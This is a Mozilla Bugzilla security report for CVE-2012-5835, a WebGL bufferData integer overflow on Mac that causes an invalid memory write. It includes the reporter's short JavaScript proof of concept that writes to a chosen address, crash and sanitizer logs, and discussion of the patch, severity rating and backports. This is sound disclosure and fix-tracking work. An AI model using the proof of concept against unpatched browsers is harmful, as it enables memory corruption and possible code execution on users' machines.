Bug 790879 (CVE-2012-5835)

integer overflow, invalid write w/webgl bufferdata

RESOLVED FIXED in Firefox 17

Status

()

Core
Canvas: WebGL
RESOLVED FIXED
5 years ago
5 months ago

People

(Reporter: miaubiz, Assigned: bjacob)

Tracking

({csectype-intoverflow, sec-critical, sec-vector})

unspecified
mozilla18
x86
Mac OS X
csectype-intoverflow, sec-critical, sec-vector
Points:
---
Bug Flags:
sec-bounty +
in-testsuite ?

Firefox Tracking Flags

(firefox16 wontfix, firefox17 fixed, firefox18 fixed, firefox-esr1017+ fixed, firefox-esr17 fixed)

Details

(Whiteboard: [adv-track-main17+][adv-track-esr17+][asan])

Attachments

(5 attachments, 1 obsolete attachment)

(Reporter)

Description

5 years ago
Created attachment 660738 [details]
repro

I load:

<html>
  <head>
    <script>
      gl=document.createElement('canvas').getContext('experimental-webgl')
      var buf = gl.createBuffer()
      gl.bindBuffer(gl.ARRAY_BUFFER, buf)
      var magic = 0x12345678
      gl.bufferData(gl.ARRAY_BUFFER, new Uint8Array(magic+1), gl.STATIC_DRAW)
      gl.bufferData(gl.ARRAY_BUFFER, Math.pow(2, 32), gl.STATIC_DRAW)
      gl.bufferSubData(gl.ARRAY_BUFFER, magic, new Uint8Array(1))
    </script>
  </head>
</html>

and I get:

exception=EXC_BAD_ACCESS:signal=11:is_exploitable=yes:instruction_disassembly=movb	%al,(%rdi):instruction_address=0x00007fff92c82a41:access_type=write:access_address=0x0000000012345678:

Exception Type:  EXC_BAD_ACCESS (SIGSEGV)
Exception Codes: KERN_INVALID_ADDRESS at 0x0000000012345678

Thread 0 Crashed:: Dispatch queue: com.apple.main-thread
0   libsystem_c.dylib             	0x00007fff92c82a41 memmove$VARIANT$sse42 + 57
1   GLEngine                      	0x000000010cfa9982 glBufferSubData_Exec + 856

  rdi: 0x0000000012345678
  r11: 0x0000000012345678
  r12: 0x0000000012345678


ASAN:SIGSEGV
==3966== ERROR: AddressSanitizer crashed on unknown address 0x000012345678 (pc 0x7fff92c82a41 sp 0x7fff5fbf5380 bp 0x7fff5fbf5380 T0)
AddressSanitizer can not provide additional info. ABORTING
    #0 0x7fff92c82a40 in memmove$VARIANT$sse42 (in libsystem_c.dylib) + 227
    #1 0x100009291 in wrap_memmove (in firefox) + 545
    #2 0x13add8981 in glDeleteBuffers_Exec (in GLEngine) + 1727
    #3 0x105d41d4a in mozilla::gl::GLContext::fBufferSubData(unsigned int, long, long, void const*) (in XUL) + 90
    #4 0x105d25b2f in mozilla::WebGLContext::BufferSubData(unsigned int, long long, mozilla::dom::TypedArray_base<unsigned char, &(JS_GetObjectAsArrayBufferView(JSContext*, JSObject*, unsigned int*, unsigned char**))>&) (in XUL) + 575
(Reporter)

Comment 1

5 years ago
Created attachment 660740 [details]
asan log osx
(Reporter)

Comment 2

5 years ago
Created attachment 660741 [details]
crashwrangler log, osx, stable
(Assignee)

Comment 3

5 years ago
Created attachment 660823 [details] [diff] [review]
work around Mac bufferData bug

The type of the size parameter to bufferData is like size_t. So on 64bit it is valid to pass up to 2^64-1. Apparently the Mac GL lib doesn't know that. This patch works around it by rejecting bufferData calls with size exceeding UINT32_MAX before passing them to the GL.
Attachment #660823 - Flags: review?
(Assignee)

Comment 5

5 years ago
Created attachment 660893 [details] [diff] [review]
work around Mac bufferData bug

Actually, this type is signed.
Attachment #660823 - Attachment is obsolete: true
Attachment #660823 - Flags: review?
Attachment #660893 - Flags: review?
Benoit, what security rating would you give this issue?
(Assignee)

Updated

5 years ago
Attachment #660893 - Flags: review? → review?(jgilbert)
Attachment #660893 - Flags: review?(jgilbert) → review+
(Assignee)

Comment 7

5 years ago
(In reply to Al Billings [:abillings] from comment #6)
> Benoit, what security rating would you give this issue?

Random memory can be access, but only for read, not for write or execute (for all we know).

So I would naturally call this sec-high (information leakage vulnerability) but looking at https://wiki.mozilla.org/Security_Severity_Ratings, I see that "Any crash where random memory is accessed" is sec-criticial, so I guess sec-critical then (but I would like to understand the rationale for this rule). Up to you.
(Assignee)

Comment 8

5 years ago
http://hg.mozilla.org/integration/mozilla-inbound/rev/3e9d3ac81cb0
Assignee: nobody → bjacob
Target Milestone: --- → mozilla18

Comment 9

5 years ago
https://hg.mozilla.org/mozilla-central/rev/3e9d3ac81cb0
Status: NEW → RESOLVED
Last Resolved: 5 years ago
status-firefox18: --- → fixed
Resolution: --- → FIXED
Keywords: sec-high
(Reporter)

Comment 10

5 years ago
@benoit: why is it only a read?

doesn't it end up calling fBufferSubData() which will attempt to memmove stuff into bad places? as in logs in c#0
miaubiz, I can't remember at all what I was thinking then. Comment 0 does say "access_type=write" so it seems I was just wrong. That explains why it's sec-critical then.
(Assignee)

Updated

5 years ago
Keywords: sec-high → sec-critical
Keywords: sec-vector
CC'ing Google.
Comment on attachment 660893 [details] [diff] [review]
work around Mac bufferData bug

Sorry for the delayed request.

[Approval Request Comment]
Bug caused by (feature/regressing bug #): driver bug
User impact if declined: sec-critical
Testing completed (on m-c, etc.): been on m-c since last week
Risk to taking this patch (and alternatives if risky): no risk
String or UUID changes made by this patch: none
Attachment #660893 - Flags: approval-mozilla-beta?
Attachment #660893 - Flags: approval-mozilla-aurora?
Comment on attachment 660893 [details] [diff] [review]
work around Mac bufferData bug

This missed our final beta, and doesn't seem critical for release. Approving for Aurora 17, however.
Attachment #660893 - Flags: approval-mozilla-beta?
Attachment #660893 - Flags: approval-mozilla-beta-
Attachment #660893 - Flags: approval-mozilla-aurora?
Attachment #660893 - Flags: approval-mozilla-aurora+
http://hg.mozilla.org/releases/mozilla-aurora/rev/a2e5cf7fb98e
status-firefox17: --- → fixed
Is the ESR branch affected, given this is a driver bug?
Most certainly yes.
status-firefox-esr10: --- → affected
status-firefox16: --- → wontfix
Keywords: verifyme
(In reply to Benoit Jacob [:bjacob] from comment #17)
> Most certainly yes.

Please prepare a patch for mozilla-esr10 as well then. Thanks!
tracking-firefox-esr10: --- → 17+
Created attachment 675624 [details] [diff] [review]
esr10 patch

Here is the typical ESR10 user:
  http://www.grg.org/images/JCalment/JCalmentDate3.jpg
I content that she doesn't care about WebGL and would be better off if we simply turned it off in ESR, which would also relieve us from a significant maintenance burden.

Anyway, here is the ESR10 patch for this bug. Note that we didn't have GLContext::WorkAroundDriverBugs() in ESR10.
Attachment #675624 - Flags: review?(jgilbert)
Attachment #675624 - Flags: review?(jgilbert) → review+
Comment on attachment 675624 [details] [diff] [review]
esr10 patch

[Approval Request Comment]
If this is not a sec:{high,crit} bug, please state case for ESR consideration:
User impact if declined: sec:critical
Fix Landed on Version: 17+
Risk to taking this patch (and alternatives if risky): no risk. very simple, well tested already.
String or UUID changes made by this patch: none
Attachment #675624 - Flags: approval-mozilla-esr10?

Updated

5 years ago
Attachment #675624 - Flags: approval-mozilla-esr10? → approval-mozilla-esr10+
Whiteboard: [adv-track-main17+]
https://hg.mozilla.org/releases/mozilla-esr10/rev/a04c49a2a238
status-firefox-esr10: affected → fixed
status-firefox-esr17: --- → fixed
Comment on attachment 675624 [details] [diff] [review]
esr10 patch

Funny story - esr10 doesn't define GenerateWarning. Backed out for build failures.
https://hg.mozilla.org/releases/mozilla-esr10/rev/7ded7f96bbbe
Attachment #675624 - Attachment is obsolete: true
status-firefox-esr10: fixed → affected
Flags: in-testsuite?
(Assignee)

Updated

5 years ago
Attachment #675624 - Attachment is obsolete: false
https://hg.mozilla.org/releases/mozilla-esr10/rev/1d8137a19487
status-firefox-esr10: affected → fixed
Whiteboard: [adv-track-main17+] → [adv-track-main17+][adv-track-esr17+]
Alias: CVE-2012-5835
Whiteboard: [adv-track-main17+][adv-track-esr17+] → [adv-track-main17+][adv-track-esr17+][asan]
Group: core-security
rforbes-bugspam-for-setting-that-bounty-flag-20130719
Flags: sec-bounty+
mass remove verifyme requests greater than 4 months old
Keywords: verifyme
Keywords: csectype-intoverflow
You need to log in before you can comment on or make changes to this bug.